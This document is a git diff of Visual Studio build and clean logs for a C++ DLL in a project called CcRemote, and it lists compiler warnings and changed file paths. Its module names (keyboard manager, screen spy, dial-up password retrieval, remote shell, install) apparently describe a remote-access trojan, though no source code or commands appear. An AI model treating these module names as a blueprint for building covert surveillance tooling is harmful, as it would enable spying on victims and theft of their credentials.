+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+  ScreenManager.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
+  d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
+  ScreenSpy.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
+  ShellManager.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+  SystemManager.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
+  VideoCap.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
+  VideoManager.cpp
   正在生成代码...
+cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
+  FileManager.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(271): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(272): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(422): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(597): warning C4307: “+”: 整型常量溢出
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(594): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(240): warning C4715: “CFileManager::OpenFile”: 不是所有的控件路径都返回值
+cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
+  dllmain.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(184): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+LINK : warning LNK4044: 无法识别的选项“/Zc:strictStrings”;已忽略
+LINK : warning LNK4098: 默认库“LIBCMT”与其他库的使用冲突;请使用 /NODEFAULTLIB:library
+  CcMainDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\Debug\CcMainDll.dll
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate
index 03e57a1..bd1e4f2 100644
--- a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate
+++ b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/CcMainDll.lastbuildstate
@@ -1,2 +1,2 @@
 #TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
-Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
+Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild b/CcMainDll/CcMainDll/Debug/CcMainDll.tlog/unsuccessfulbuild
deleted file mode 100644
index e69de29..0000000
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
index aba0051..470db73 100644
--- a/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
+++ b/CcMainDll/CcMainDll/Release/CcMainDll.Build.CppClean.log
@@ -1,28 +1,33 @@
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\pch.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audio.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\until.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\buffer.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\videocap.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\manager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\install.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
-g:\ccremote\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
+f:\myapp\ccremote\ccmaindll\release\ccmaindll.ipdb
+f:\myapp\ccremote\ccmaindll\release\ccmaindll.iobj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
+f:\myapp\ccremote\ccmaindll\release\ccmaindll.dll
+f:\myapp\ccremote\ccmaindll\release\ccmaindll.pdb
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
+f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
diff --git a/CcMainDll/CcMainDll/Release/CcMainDll.log b/CcMainDll/CcMainDll/Release/CcMainDll.log
index 44009dc..658e649 100644
--- a/CcMainDll/CcMainDll/Release/CcMainDll.log
+++ b/CcMainDll/CcMainDll/Release/CcMainDll.log
@@ -2,102 +2,102 @@
   pch.cpp
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   Audio.cpp
-g:\ccremote\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   ClientSocket.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
-  g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
-g:\ccremote\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(69): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(71): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(207): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
+  d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(324): warning C4018: “>=”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(423): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
+f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(478): warning C4018: “>=”: 有符号/无符号不匹配
   Buffer.cpp
-  KernelManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
   KeyboardManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
-  RegEditEx.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(8): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(99): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(113): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(140): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(110): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
   until.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(68): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(543): note: 参见“strcmpi”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(169): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(172): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
 cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
   AudioManager.cpp
   Dialupass.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
-  g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(139): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(143): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(147): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.cpp(208): warning C4996: 'GetVersionExA': 被声明为已否决
+  d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
   install.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(7): warning C4101: “Desc”: 未引用的局部变量
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(121): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(120): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
+  KernelManager.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
   Manager.cpp
+  RegEditEx.cpp
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(9): warning C4996: 'strnicmp': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strnicmp. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(560): note: 参见“strnicmp”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(100): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(114): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(111): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditex.cpp(112): warning C4996: 'strncat': This function or variable may be unsafe. Consider using strncat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(266): note: 参见“strncat”的声明
   ScreenManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
-  g:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenmanager.cpp(5): warning C4005: “_WIN32_WINNT”: 宏重定义
+  d:\windows kits\10\include\10.0.17763.0\shared\sdkddkver.h(216): note: 参见“_WIN32_WINNT”的前一个定义
   ScreenSpy.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(363): warning C4018: “>”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(384): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(403): warning C4018: “<”: 有符号/无符号不匹配
   ShellManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
   SystemManager.cpp
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
-  g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
-g:\ccremote\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(111): warning C4018: “<”: 有符号/无符号不匹配
+f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
+  d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
